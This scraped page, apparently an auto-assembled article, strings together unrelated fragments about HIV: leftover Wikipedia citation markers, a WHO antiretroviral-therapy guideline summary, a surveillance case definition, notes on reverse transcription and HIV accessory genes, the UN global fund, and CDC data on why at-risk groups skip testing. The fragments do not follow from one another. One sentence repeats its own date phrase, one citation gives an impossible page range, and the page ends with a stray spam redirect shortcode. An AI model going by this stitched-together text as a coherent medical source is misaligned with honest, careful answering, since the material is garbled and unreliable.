Jump up ^ Barbaro, G; Barbarini, G (December 2011). “Human immunodeficiency virus & cardiovascular risk”. The Indian journal of medical research. 134 (6): 898–903. doi:10.4103/0971-5916.92634. PMC 3284097 . PMID 22310821.
In 2016, WHO released the second edition of the Consolidated guidelines on the use of antiretroviral drugs for treating and preventing HIV infection. These guidelines recommend to provide lifelong ART to all people living with HIV, including children, adolescents and adults, pregnant and breastfeeding women, regardless of clinical status or CD4 cell count. By July 2017, 122 countries already have adopted this recommendation by mid-2017, which covers more than 90% of all PLHIV globally.
Definition (CSP) any state of infection accompanied by evidence of HIV in the body (positive test for HIV genome, cDNA, proteins, antigens, or antibodies); may be asymptomatic or symptomatic; use AIDS when appropriate.
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When HIV enters a human cell, it releases its RNA, and an enzyme called reverse transcriptase makes a DNA copy of the HIV RNA. The resulting HIV DNA is integrated into the infected cell’s DNA. This process is the reverse of that used by human cells, which make an RNA copy of DNA. Thus, HIV is called a retrovirus, referring to the reversed (backward) process.
6U.S. Public Health Service. Pre-exposure prophylaxis for the prevention of HIV infection in the United States – 2014: A clinical practice guideline [Internet]. Atlanta (GA): Centers for Disease Control and Prevention; 2014. Available from: http://www.cdc.gov/hiv/pdf/guidelines/PrEPguidelines2014.pdf
^ Jump up to: a b Sharp, P. M.; Hahn, B. H. (2011). “Origins of HIV and the AIDS Pandemic”. Cold Spring Harbor Perspectives in Medicine. 1 (1): a006841–a006835. doi:10.1101/cshperspect.a006841. PMC 3234451 . PMID 22229120.
In June 2001, the United Nations (UN) General Assembly called for the creation of a “global fund” to support efforts by countries and organisations to combat the spread of HIV through prevention, treatment and care including buying medication.73
HIV-1 has 6 additional accessory genes: tat, rev, nef, vif, vpu, and vpr. HIV-2 does not have vpu but instead has the unique gene vpx. The only other virus known to contain the vpu gene is simian immunodeficiency virus in chimpanzees (SIVcpz), which is the simian equivalent of HIV.  Interestingly, chimpanzees with active HIV-1 infection are resistant to disease. 
Among persons interviewed through NHBS who were not tested in the past year, most MSM reported that their main reason for not testing was that they believed their risk for infection was low, whereas most persons who inject drugs and heterosexual persons at increased risk reported that they had no particular reason for not testing. In each risk group, at least two thirds of persons who did not have an HIV test had seen a health care provider in the past year (Table 2). Among those who had not tested in the past year and had visited a health care provider, approximately three quarters reported not having been offered an HIV test at any of their health care visits. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]